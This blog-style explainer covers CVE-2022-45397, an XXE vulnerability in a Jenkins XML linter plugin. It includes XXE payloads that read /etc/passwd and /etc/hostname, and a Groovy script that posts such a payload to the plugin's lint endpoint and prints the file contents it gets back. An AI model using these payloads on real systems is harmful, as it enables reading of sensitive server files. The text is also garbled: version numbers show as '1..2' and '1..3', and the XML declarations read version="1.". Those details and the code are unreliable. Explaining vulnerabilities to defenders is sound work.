CVE-2022-45397 - Jenkins OSF Builder Suite :: XML Linter Plugin XXE Vulnerability Explained

Security vulnerabilities in popular developer tools can put entire organizations at risk. In this post, we’ll break down CVE-2022-45397—a critical flaw in Jenkins’ OSF Builder Suite :: XML Linter Plugin (versions 1..2 and earlier)—using straightforward language, practical examples, and official references. We’ll also show what could go wrong, and how attacks might work.

What is Jenkins OSF Builder Suite :: XML Linter Plugin?

Jenkins is a widely used automation server for building, testing, and deploying code. The OSF Builder Suite :: XML Linter Plugin helps Jenkins users automatically validate XML files within their CI/CD pipelines.

What’s the Problem? (XXE Vulnerability)

The vulnerability, tracked as CVE-2022-45397, comes down to how the plugin parses XML files. Normally, XML parsers should disable the loading of *external entities*—references inside an XML file that tell the parser to fetch data from elsewhere (like the file system or a remote server).

In version 1..2 and earlier, the plugin does not disable external entities. This opens up the system to XML External Entity (XXE) attacks.

Think of it like this: a file that’s supposed to just be checked for structure can actually snoop around on your computer—just because of how it’s parsed.

References

- Jenkins Security Advisory for CVE-2022-45397
- NVD CVE-2022-45397 Entry

How Does an XXE Attack Work?

An attacker tricks Jenkins into processing a specially crafted XML file containing an *external entity* that references sensitive files on the server.

Let’s say Jenkins calls the linter plugin on this XML file

<?xml version="1."?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>
  &xxe;
</foo>

What happens?

- The parser sees &xxe; and reads "file:///etc/passwd".
- The plugin now processes and may display the contents of /etc/passwd (critical system information in Linux), or send it somewhere.

Exploit Code Example

If you can submit XML files to a Jenkins job running the vulnerable plugin, you could use a job configuration or automation like this:

// Groovy script to post a malicious XML file to Jenkins XML Linter endpoint
def xml = '''<?xml version="1."?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<foo>
  &xxe;
</foo>
'''

def url = 'http://jenkins.local/plugin/osf-builder-suite-xml-linter/lint';
def response = new URL(url).openConnection().with {
  doOutput = true
  setRequestProperty('Content-Type', 'application/xml')
  outputStream.withWriter('UTF-8') { it << xml }
  inputStream.text
}
println response

Result: If the plugin is vulnerable, the server’s hostname (or any file it can read) is revealed back.

How to Fix

Upgrade to version 1..3 or later!
The maintainers fixed the issue by configuring the XML parser to *disallow* loading of external entities.
Check your version and update ASAP.

Final Words

XML parsing vulnerabilities may sound old-fashioned, but as seen in CVE-2022-45397, they’re still relevant today, even in modern automation tools like Jenkins. Developers and admins must always check what’s happening under the hood—especially when handling potentially dangerous input like XML files.

Timeline

Published on: 11/15/2022 20:15:00 UTC
Last modified on: 11/20/2022 03:08:00 UTC